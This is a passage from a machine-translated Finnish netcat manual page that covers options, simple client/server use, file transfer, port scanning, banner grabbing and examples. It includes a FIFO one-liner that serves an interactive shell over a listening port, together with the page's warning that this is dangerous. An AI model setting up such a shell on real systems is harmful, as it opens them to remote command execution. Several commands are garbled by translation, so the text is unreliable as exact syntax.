-k | Voimat nc jatkaaksesi toisen yhteyden kuuntelua, kun sen nykyinen yhteys on valmis. On virhe käyttää tätä vaihtoehtoa ilman -l vaihtoehto. |
-l | Käytetään sen määrittämiseen nc pitäisi kuunnella saapuvaa yhteyttä sen sijaan, että aloitettaisiin yhteys etäisäntään. On virhe käyttää tätä vaihtoehtoa yhdessä -s, -s, tai -z vaihtoehtoja. Lisäksi kaikki aikakatkaisut, jotka on määritetty kohdassa -w vaihtoehto jätetään huomioimatta. |
-n | Älä tee DNS- tai palveluhakuja tietyille osoitteille, isäntänimille tai porteille. |
-O pituus | Määrittää TCP-lähetyspuskurin koon. |
-P proxy_username | Määrittää käyttäjänimen, joka esitetään todennusta vaativalle välityspalvelimelle. Jos käyttäjätunnusta ei ole määritetty, todennusta ei yritetä. Välityspalvelintodennusta tuetaan tällä hetkellä vain HTTP CONNECT -välityspalvelimille. |
-s lähde_portti | Määrittää lähdeportin, jota nc:n tulee käyttää käyttöoikeusrajoitusten ja saatavuuden mukaan. |
-q sekuntia | stdinin EOF:n jälkeen odota määritetty määrä sekunteja ja lopeta sitten. Jos sekunnit ovat negatiivisia, odota ikuisesti. |
-r | Määrittää, että lähde- tai kohdeportit tulee valita satunnaisesti eikä peräkkäin alueella tai siinä järjestyksessä, jossa järjestelmä määrittää ne. |
-S | Ottaa käyttöön RFC 2385 TCP MD5 -allekirjoitusvaihtoehdon. |
-s lähde | Määrittää liittymän, jota käytetään pakettien lähettämiseen. UNIX-toimialueen datagrammivastakkeille määrittää luotavan ja käytettävän paikallisen väliaikaisen socket-tiedoston, jotta datagrammit voidaan vastaanottaa. On virhe käyttää tätä vaihtoehtoa yhdessä -l vaihtoehto. |
-T avainsanaan | Muuta IPv4 TOS -arvoa. avainsanaan voi olla yksi niistä kriittinen, inetcontrol, halpa, pieni viive, netcontrol, läpijuoksu, luotettavuus tai jokin DiffServ-koodipisteistä: ef, af11 ... af43, cs0 ... cs7; tai heksadesimaaliluku tai numero . |
-t | Syyt nc lähettääksesi RFC 854 DON"T ja WON"T -vastaukset RFC 854 DO ja WILL -pyyntöihin. Tämä mahdollistaa nc:n käytön telnet-istuntojen komentosarjaan. |
-U | Määrittää UNIX-verkkoalueen vastakkeiden käytön. |
-u | Käytä UDP:tä TCP:n oletusasetuksen sijaan. Käytä UNIX-verkkotunnuksen vastakkeissa datagrammivastaketta stream-socketin sijaan. Jos käytetään UNIX-verkkotunnuksen vastaketta, väliaikainen vastaanottokanta luodaan tiedostoon /tmp, ellei -s lippu annetaan. |
-V rtable | Aseta käytettävä reititystaulukko. Oletusarvo on 0. |
-v | Omistaa nc antaa enemmän sanallista tulosta. |
-w Aikalisä | Yhteydet, joita ei voida muodostaa tai jotka ovat valmiustilassa aikakatkaisun jälkeen. The -w lipulla ei ole vaikutusta -l vaihtoehto, ts. nc kuuntelee ikuisesti yhteyttä, joko kanssa tai ilman -w lippu. Oletusasetus ei ole aikakatkaisu. |
-X proxy_protocol | Pyytää, että nc käyttää määritettyä protokollaa puhuessaan välityspalvelimen kanssa. Tuetut protokollat ovat " 4 " (SOCKS v.4) " 5 " (SOCKS v.5) ja " kytkeä" (HTTPS-välityspalvelin). Jos protokollaa ei ole määritetty, käytetään SOCKS-versiota 5. |
-x välityspalvelimen_osoite[:portti] | Sitä pyytää nc pitäisi muodostaa yhteys kohteeseen käyttämällä välityspalvelinta osoitteessa välityspalvelimen_osoite ja portti. Jos portti ei ole määritetty, käytetään tunnettua välityspalvelinprotokollan porttia (1080 SOCKS:lle, 3128 HTTPS:lle). |
-Z | DCCP-tila. |
-z | Määrittää, että nc:n tulee etsiä vain kuuntelevia demoneja lähettämättä niille mitään tietoja. On virhe käyttää tätä vaihtoehtoa yhdessä -l vaihtoehto. |
määränpäähän voi olla numeerinen IP-osoite tai symbolinen isäntänimi (ellei -n vaihtoehto on annettu). Yleensä kohde on määritettävä, ellei -l vaihtoehto annetaan (jolloin käytetään paikallista isäntä). UNIX-verkkotunnuksen pistokkeille vaaditaan kohde ja se on pistorasian polku, johon yhdistetään (tai kuunnellaan, jos -l vaihtoehto on annettu).
portti voi olla yksi kokonaisluku tai porttialue. Alueet ovat muodossa nn-mm. Yleensä kohdeportti on määritettävä, ellei -U vaihtoehto annetaan.
Asiakas/palvelin malli
On melko yksinkertaista rakentaa hyvin yksinkertainen asiakas/palvelinmalli käyttämällä nc. Aloita yhdellä konsolilla nc yhteyden kuuntelu tietystä portista. Esimerkiksi:
Nc-l 1234
nc kuuntelee nyt portissa 1234 yhteyttä varten. Yhdistä toisella konsolilla (tai toisella koneella) kuunneltavaan koneeseen ja porttiin:
Nc 127.0.0.1 1234
Nyt pitäisi olla yhteys porttien välillä. Kaikki toisessa konsolissa kirjoitettu ketjutetaan ensimmäiseen ja päinvastoin. Kun yhteys on muodostettu, nc ei oikeastaan välitä kumpaa puolta käytetään "palvelimena" ja kumpaa "asiakkaana". Yhteys voidaan katkaista käyttämällä EOF:ää (' ^D’).
Ei ole -c tai -e vaihtoehto nykyaikaisessa netcatissa, mutta voit silti suorittaa komennon sen jälkeen, kun yhteys on muodostettu uudelleenohjaamalla tiedostokuvaajat. Ole tässä varovainen, koska portin avaaminen ja kenen tahansa siihen liitetyn suorittavan mielivaltaisen komennon antaminen sivustossasi on VAARALLISTA. Jos sinun on todella tehtävä tämä, tässä on esimerkki:
Palvelimen puolella:
Rm -f/tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
"Asiakkaan" puolella:
Nc host.example.com 1234
(kuorikehote osoitteesta host.example.com)
Aloita käyttämällä nc kuunnellaksesi tietystä portista, jolloin tulos kaapataan tiedostoon:
Nc -l 1234 > tiedostonimi.out
Yhdistä kuuntelulaitteeseen toisella koneella nc prosessi, syöttämällä sille siirrettävä tiedosto:
Nc host.example.com 1234< filename.in
Kun tiedosto on siirretty, yhteys sulkeutuu automaattisesti.
Keskustele palvelimien kanssa
Joskus on hyödyllistä puhua palvelimien kanssa "käsin" käyttöliittymän sijaan. Se voi auttaa vianmäärityksessä, kun saattaa olla tarpeen tarkistaa, mitä tietoja palvelin lähettää vastauksena asiakkaan antamiin komentoihin. Voit esimerkiksi hakea verkkosivuston etusivun seuraavasti:
Printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80
Huomaa, että tämä näyttää myös verkkopalvelimen lähettämät otsikot. Ne voidaan suodattaa käyttämällä työkalua, kuten sed, jos välttämätöntä.
Monimutkaisempia esimerkkejä voidaan rakentaa, kun käyttäjä tietää palvelimen vaatimien pyyntöjen muodon. Toisena esimerkkinä sähköposti voidaan lähettää SMTP-palvelimelle käyttämällä:
Nc [-C] localhost 25<< EOF HELO host.example.com MAIL FROM:< >RCPT TO:< >TIEDOT Sähköpostin runko. . LOPETA EOF
Porttien skannaus
Saattaa olla hyödyllistä tietää, mitkä portit ovat avoinna ja suorittavat palveluita kohdekoneessa. The -z lippua voidaan käyttää kertomaan nc ilmoittaa avoimista porteista yhteyden muodostamisen sijaan. Yleensä on hyödyllistä ottaa stderr:n monisanainen tuloste käyttöön käyttämällä tätä vaihtoehtoa yhdessä -v vaihtoehto.
Nc -zv host.example.com 20-30 Yhteys host.example.com 22 -porttiin onnistui! Yhteys host.example.com 25 -porttiin onnistui!
Porttialue määritettiin haun rajoittamiseksi portteihin 20 - 30 , ja se skannataan kasvavassa järjestyksessä.
Voit myös määrittää luettelon tarkistettavista porteista, esimerkiksi:
Nc -zv host.example.com 80 20 22 nc: yhteys osoitteeseen host.example.com 80 (tcp) epäonnistui: Yhteys estetty nc: yhteys osoitteeseen host.example.com 20 (tcp) epäonnistui: Yhteys estetty Yhteyden muodostaminen isäntä.esimerkkiin .com-portti onnistui!
Portit skannataan antamasi järjestyksen mukaan.
Vaihtoehtoisesti voi olla hyödyllistä tietää, mikä palvelinohjelmisto on käynnissä ja mitkä versiot. Nämä tiedot sisältyvät usein tervehdysbannereihin. Näiden hakemiseksi on ensin muodostettava yhteys ja sitten katkaistava yhteys, kun banneri haettiin. Tämä voidaan saavuttaa määrittämällä pieni aikakatkaisu -painikkeella -w lippu tai kenties antamalla "QUIT"-komento palvelimelle:
Echo "QUIT" | nc host.example.com 20-30 SSH-1.99-OpenSSH_3.6.1p2 Protokolla ei täsmää. 220 host.example.com IMS SMTP -vastaanottimen versio 0.84 Valmis
Esimerkkejä
nc -p 31337 -w 5 host.example.com 42Avaa TCP-yhteyden porttiin 42 / host.example.com portin avulla 31337 lähdeporttina, aikakatkaisulla 5 sekuntia.
Nc -u host.example.com 53 nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42
Sama kuin yllä olevassa esimerkissä, mutta tällä kertaa välityspalvelimen todennus käyttäjätunnuksella " ruser"jos välityspalvelin sitä vaatii.
Aiheeseen liittyvät komennot
ifconfig— Tarkastele tai muokkaa verkkoliitäntöjen määrityksiä.